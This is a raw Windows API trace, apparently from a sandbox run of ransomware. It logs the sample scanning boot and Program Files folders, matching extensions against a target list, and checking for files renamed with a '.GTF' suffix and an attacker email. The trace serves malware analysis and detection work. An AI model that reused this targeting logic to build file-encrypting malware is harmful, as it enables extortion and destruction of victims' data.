	[0153.426] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.426] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0153.426] lstrlenW (lpString=".1cd") returned 4
	[0153.426] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.426] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0153.427] lstrlenW (lpString=".jpg") returned 4
	[0153.427] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.427] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0153.427] lstrlenW (lpString="memtest.exe.mui") returned 15
	[0153.427] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.427] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=45472) returned 1
	[0153.427] CloseHandle (hObject=0x388) returned 1
	[0153.427] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20
	[0153.427] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.427] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.427] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29
	[0153.427] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29
	[0153.427] lstrlenW (lpString=".doc") returned 4
	[0153.427] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.427] lstrlenW (lpString=".docx") returned 5
	[0153.427] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.428] lstrlenW (lpString=".pdf") returned 4
	[0153.428] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.428] lstrlenW (lpString=".xls") returned 4
	[0153.428] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.428] lstrlenW (lpString=".xlsx") returned 5
	[0153.428] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.428] lstrlenW (lpString=".ppt") returned 4
	[0153.428] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.428] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29
	[0153.428] lstrlenW (lpString=".zip") returned 4
	[0153.428] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.428] lstrlenW (lpString=".rar") returned 4
	[0153.428] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.428] lstrlenW (lpString=".bz2") returned 4
	[0153.428] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.428] lstrlenW (lpString=".7z") returned 3
	[0153.428] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.428] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0153.428] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.428] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=75616) returned 1
	[0153.428] CloseHandle (hObject=0x388) returned 1
	[0153.429] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20
	[0153.429] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.429] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.429] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0153.429] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.429] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=45472) returned 1
	[0153.429] CloseHandle (hObject=0x388) returned 1
	[0153.429] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20
	[0153.429] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.429] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.430] Sleep (dwMilliseconds=0x64) 
	[0153.835] Sleep (dwMilliseconds=0x64) 
	[0154.161] lstrcmpiW (lpString1=".exe", lpString2=".GTF") returned -1
	[0154.161] lstrlenW (lpString="fling.exe") returned 9
	[0154.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\fling.exe" (normalized: "c:\\program files\\common files\\fling.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0154.238] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=78336) returned 1
	[0154.238] CloseHandle (hObject=0x3f8) returned 1
	[0154.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\fling.exe" (normalized: "c:\\program files\\common files\\fling.exe")) returned 0x20
	[0154.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\fling.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\fling.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\fling.exe" (normalized: "c:\\program files\\common files\\fling.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0154.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0154.239] lstrlenW (lpString=".doc") returned 4
	[0154.239] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0154.239] lstrlenW (lpString=".docx") returned 5
	[0154.239] lstrcmpiW (lpString1=".docx", lpString2="g.exe") returned -1
	[0154.239] lstrlenW (lpString=".pdf") returned 4
	[0154.239] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0154.239] lstrlenW (lpString=".xls") returned 4
	[0154.239] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0154.239] lstrlenW (lpString=".xlsx") returned 5
	[0154.239] lstrcmpiW (lpString1=".xlsx", lpString2="g.exe") returned -1
	[0154.239] lstrlenW (lpString=".ppt") returned 4
	[0154.239] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0154.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0154.239] lstrlenW (lpString=".zip") returned 4
	[0154.239] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0154.239] lstrlenW (lpString=".rar") returned 4
	[0154.239] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0154.239] lstrlenW (lpString=".bz2") returned 4
	[0154.239] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0154.239] lstrlenW (lpString=".7z") returned 3
	[0154.239] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0154.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0154.239] lstrlenW (lpString=".dbf") returned 4
	[0154.239] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0154.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0154.239] lstrlenW (lpString=".1cd") returned 4
	[0154.239] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0154.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0154.239] lstrlenW (lpString=".jpg") returned 4
	[0154.239] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0154.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0154.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0154.239] lstrlenW (lpString=".doc") returned 4
	[0154.239] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0154.239] lstrlenW (lpString=".docx") returned 5
	[0154.239] lstrcmpiW (lpString1=".docx", lpString2="g.exe") returned -1
	[0154.240] lstrlenW (lpString=".pdf") returned 4
	[0154.240] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0154.240] lstrlenW (lpString=".xls") returned 4
	[0154.240] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0154.240] lstrlenW (lpString=".xlsx") returned 5
	[0154.240] lstrcmpiW (lpString1=".xlsx", lpString2="g.exe") returned -1
	[0154.240] lstrlenW (lpString=".ppt") returned 4
	[0154.240] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0154.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0154.240] lstrlenW (lpString=".zip") returned 4
	[0154.240] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0154.240] lstrlenW (lpString=".rar") returned 4
	[0154.240] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0154.240] lstrlenW (lpString=".bz2") returned 4
	[0154.240] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0154.240] lstrlenW (lpString=".7z") returned 3
	[0154.240] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0154.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0154.240] lstrlenW (lpString=".dbf") returned 4
	[0154.240] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0154.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0154.240] lstrlenW (lpString=".1cd") returned 4
	[0154.240] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0154.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0154.240] lstrlenW (lpString=".jpg") returned 4
	[0154.240] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0154.240] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0154.240] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28
	[0154.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0154.245] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3072) returned 1
	[0154.245] CloseHandle (hObject=0x3e0) returned 1
	[0154.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20
	[0154.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0154.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0154.245] lstrlenW (lpString=".doc") returned 4
	[0154.245] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0154.245] lstrlenW (lpString=".docx") returned 5
	[0154.245] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0154.245] lstrlenW (lpString=".pdf") returned 4
	[0154.245] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0154.245] lstrlenW (lpString=".xls") returned 4
	[0154.245] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0154.245] lstrlenW (lpString=".xlsx") returned 5
	[0154.245] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0154.245] lstrlenW (lpString=".ppt") returned 4
	[0154.245] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0154.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0154.245] lstrlenW (lpString=".zip") returned 4
	[0154.245] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0154.246] lstrlenW (lpString=".rar") returned 4
	[0154.246] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0154.246] lstrlenW (lpString=".bz2") returned 4
	[0154.246] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0154.246] lstrlenW (lpString=".7z") returned 3
	[0154.246] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0154.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0154.246] lstrlenW (lpString=".dbf") returned 4
	[0154.246] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0154.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0154.246] lstrlenW (lpString=".1cd") returned 4
	[0154.246] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0154.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0154.246] lstrlenW (lpString=".jpg") returned 4
	[0154.246] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0154.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0154.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0154.246] lstrlenW (lpString=".doc") returned 4
	[0154.246] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0154.246] lstrlenW (lpString=".docx") returned 5
	[0154.246] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0154.246] lstrlenW (lpString=".pdf") returned 4
	[0154.246] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0154.246] lstrlenW (lpString=".xls") returned 4
	[0154.246] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0154.246] lstrlenW (lpString=".xlsx") returned 5
	[0154.246] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0154.246] lstrlenW (lpString=".ppt") returned 4
	[0154.246] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0154.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0154.246] lstrlenW (lpString=".zip") returned 4
	[0154.246] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0154.246] lstrlenW (lpString=".rar") returned 4
	[0154.246] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0154.246] lstrlenW (lpString=".bz2") returned 4
	[0154.246] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0154.247] lstrlenW (lpString=".7z") returned 3
	[0154.247] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0154.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0154.247] lstrlenW (lpString=".dbf") returned 4
	[0154.247] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0154.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0154.247] lstrlenW (lpString=".1cd") returned 4
	[0154.247] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0154.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0154.247] lstrlenW (lpString=".jpg") returned 4
	[0154.247] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0154.247] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0154.247] lstrlenW (lpString="micaut.dll.mui") returned 14
	[0154.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0154.412] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=9216) returned 1
	[0154.412] CloseHandle (hObject=0x3e4) returned 1
	[0154.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20
	[0154.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0154.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0154.416] lstrlenW (lpString=".doc") returned 4
	[0154.416] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0154.416] lstrlenW (lpString=".docx") returned 5
	[0154.417] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0154.417] lstrlenW (lpString=".pdf") returned 4
	[0154.417] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0154.418] lstrlenW (lpString=".xls") returned 4
	[0154.418] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0154.418] lstrlenW (lpString=".xlsx") returned 5
	[0154.418] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0154.418] lstrlenW (lpString=".ppt") returned 4
	[0154.418] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0154.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0154.419] lstrlenW (lpString=".zip") returned 4
	[0154.419] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0154.420] lstrlenW (lpString=".rar") returned 4
	[0154.420] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0154.420] lstrlenW (lpString=".bz2") returned 4
	[0154.420] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0154.421] lstrlenW (lpString=".7z") returned 3
	[0154.421] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0154.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0154.421] lstrlenW (lpString=".dbf") returned 4
	[0154.421] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0154.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0154.422] lstrlenW (lpString=".1cd") returned 4
	[0154.422] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0154.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0154.423] lstrlenW (lpString=".jpg") returned 4
	[0154.423] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0154.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0154.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0154.425] lstrlenW (lpString=".doc") returned 4
	[0154.425] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0154.425] lstrlenW (lpString=".docx") returned 5
	[0154.425] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0154.426] lstrlenW (lpString=".pdf") returned 4
	[0154.426] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0154.426] lstrlenW (lpString=".xls") returned 4
	[0154.428] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0154.428] lstrlenW (lpString=".xlsx") returned 5
	[0154.428] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0154.428] lstrlenW (lpString=".ppt") returned 4
	[0154.428] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0154.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0154.429] lstrlenW (lpString=".zip") returned 4
	[0154.429] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0154.429] lstrlenW (lpString=".rar") returned 4
	[0154.429] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0154.429] lstrlenW (lpString=".bz2") returned 4
	[0154.429] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0154.429] lstrlenW (lpString=".7z") returned 3
	[0154.430] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0154.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0154.430] lstrlenW (lpString=".dbf") returned 4
	[0154.430] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0154.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0154.430] lstrlenW (lpString=".1cd") returned 4
	[0154.431] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0154.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0154.431] lstrlenW (lpString=".jpg") returned 4
	[0154.431] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0154.433] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0154.433] lstrlenW (lpString="msader15.dll") returned 12
	[0154.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0154.438] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2560) returned 1
	[0154.438] CloseHandle (hObject=0x3e4) returned 1
	[0154.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20
	[0154.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0154.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0154.440] lstrlenW (lpString=".doc") returned 4
	[0154.440] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0154.440] lstrlenW (lpString=".docx") returned 5
	[0154.440] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0154.440] lstrlenW (lpString=".pdf") returned 4
	[0154.440] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0154.441] lstrlenW (lpString=".xls") returned 4
	[0154.441] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0154.441] lstrlenW (lpString=".xlsx") returned 5
	[0154.441] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0154.441] lstrlenW (lpString=".ppt") returned 4
	[0154.441] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0154.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0154.441] lstrlenW (lpString=".zip") returned 4
	[0154.441] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0154.441] lstrlenW (lpString=".rar") returned 4
	[0154.441] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0154.441] lstrlenW (lpString=".bz2") returned 4
	[0154.441] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0154.441] lstrlenW (lpString=".7z") returned 3
	[0154.441] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0154.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0154.441] lstrlenW (lpString=".dbf") returned 4
	[0154.441] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
